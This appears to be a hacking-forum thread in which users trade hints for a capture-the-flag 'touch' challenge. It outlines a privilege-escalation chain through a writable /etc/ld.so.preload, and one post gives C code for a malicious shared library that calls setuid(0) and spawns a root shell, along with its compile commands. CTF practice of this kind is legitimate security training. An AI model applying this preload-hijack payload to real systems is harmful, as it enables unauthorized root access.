[Th3B4h0z]

Any hint for touch challenge ?

[pwns4k3]

Any hint for touch challenge ?

1) Access the challenge shell

2) Examine the Environment

3) Identify the Exploitation Vector:
  - note: /bin/touch

4) Modify File Permissions with umask
  - ...
  - Create a new file and confirm the permissions

5) Exploit /etc/ld.so.preload

6) Create the Malicious Shared Library and compile it

7) Transfer to challenge and Use the Shared Library

8) Modify /etc/ld.so.preload

9) Gain Root Access && Read the Flag

[0x00b]

Any hint for touch challenge ?

1) Access the challenge shell

2) Examine the Environment

3) Identify the Exploitation Vector:
  - note: /bin/touch

4) Modify File Permissions with umask
  - ...
  - Create a new file and confirm the permissions

5) Exploit /etc/ld.so.preload

6) Create the Malicious Shared Library and compile it

7) Transfer to challenge and Use the Shared Library

8) Modify /etc/ld.so.preload

9) Gain Root Access && Read the Flag

THX

[url=https://breachforums.rs/search.php?action=finduser&uid=9705][/url]

[Art10n]

Trying this code for shared lib
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/sh");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles


The system crash and shutdown :=(